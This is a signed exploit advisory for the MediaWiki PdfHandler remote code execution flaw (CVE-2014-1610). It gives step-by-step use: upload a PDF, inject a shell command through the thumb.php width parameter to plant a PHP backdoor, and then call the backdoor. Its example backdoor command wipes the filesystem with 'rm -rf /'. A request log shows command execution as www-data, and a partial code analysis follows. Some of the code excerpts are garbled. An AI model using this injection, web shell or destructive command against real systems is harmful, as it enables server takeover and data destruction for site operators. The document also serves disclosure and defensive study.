-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 #################################################################### # # MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610) # Reported by Netanel Rubin - Check Point’s Vulnerability Research Group (Jan 19, 2014) # Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014) # Affected website : Wikipedia.org and more ! # # Exploit author : Xelenonz & @u0x (Pichaya Morimoto) # Release dates : Feb 1, 2014 # Special Thanks to 2600 Thailand ! # #################################################################### # Exploit: #################################################################### 1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled) http://vulnerable-site/index.php/Special:Upload 2. inject os cmd to upload a php-backdoor http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20 "images/xnz.php` 3. access to php-backdoor! http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root 4. happy pwning!! # Related files: #################################################################### thumb.php <-- extract all _GET array to params /extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width options /includes/media/ImageHandler.php /includes/GlobalFunctions.php /includes/filerepo/file/File.php # Vulnerability Analysis: #################################################################### 1. thumb.php This script used to resize images if it is configured to be done when the web browser requests the image transform( $params, File::RENDER_NOW ); // << resize image by width/height ... // Stream the file if there were no errors $thumb->streamFile( $headers ); ... ?> 2. /includes/filerepo/file/File.php getHandler(); // << PDF Handler ... $normalisedParams = $params; $handler->normaliseParams( $this, $normalisedParams ); ... $thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params ); .. ?> 3. /extensions/PdfHandler/PdfHandler_body.php &1"; ... $err = wfShellExec( $cmd, $retval ); ... ?> 4. /includes/GlobalFunctions.php Execute a shell command, with time and memory limits Error generating thumbnail

Error generating thumbnail

เกิดปัญหาไม่สามารถทำรูปย่อได้: /bin/bash: -: command not found
convert: option requires an argument `-resize' @ error/convert.c/ConvertImageCommand/2380.
GPL Ghostscript 9.10: Unrecoverable error, exit code 1

GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2; my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1 uid=33(www-data) gid=33(www-data) groups=33(www-data) # Back-end $cmd #################################################################### GlobalFunctions.php : wfShellExec() cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150 -dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' | '/usr/bin/convert' -depth 8 -resize 10|`echo "images/longcat.php` - '/tmp/transform_0e377aad0e27-1.jpg') 2>&1 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.14 (GNU/Linux) iQIcBAEBAgAGBQJS7SLLAAoJEB2kHapd1XMU8BcP/A+hMUw/EDwChN+2XjtExVGU BzPrpXXBbp6WGWkeztmrT78Y1b1lXX/cQA4V9IGrdHUEdgG0p3y476d7eZ5sPxVf ny9Xg7o4WtMgmSvSOOc+lCsy9aAKab801cs1HLbwZokwK8ItwQQoGfik0BgNQ4l1 mijELis1z1f3k6yJ9/OJicnIJDmHIzPL9wQyr2A5c+jjz74SR//SlQPrqDbvEpj2 uCCpTpjf6LGYCzyGmqROlf+OxFTeXdB9oghButrEtQ9w6qGQg1/UZjmbx/xLkCqb GO1R4qs0PuV4uepwcbLzDDWW5kPejPjcwpuyjrpQO45OcIUtkvzR4iypCxxkvktv n2l09Dtn9HqbK3QXhTb2u3uhM9RyJd7kFKhfmZ85OnvMmYvaXSeDWs7Wd9GEO5wh FXbhL9O2u/bqiabQKnsJ6bx8hcm2a9mO+/yJZUyBXybHrjseRD4LQFWUYR/WPAQt vuICIQyO5pcjkIib+0DN4e7xcFMYuo3o6WkSZuZT+l0LwYDVmhUbaGAEP13+dWZZ M0HGoI7AITsqukYFH1n7NYjJazF3Bckc0iJbCrI39TYkvr3V9bRWSEfVBM6FcBan kumwDlzYP/301fsKGLtfsnUmK2qkj1EF3DVoJbZ5VFdgiUSlCMsbp9qdGfUPbelR 2LmeyQR2rzjBB7Sovvcn =ooEs -----END PGP SIGNATURE-----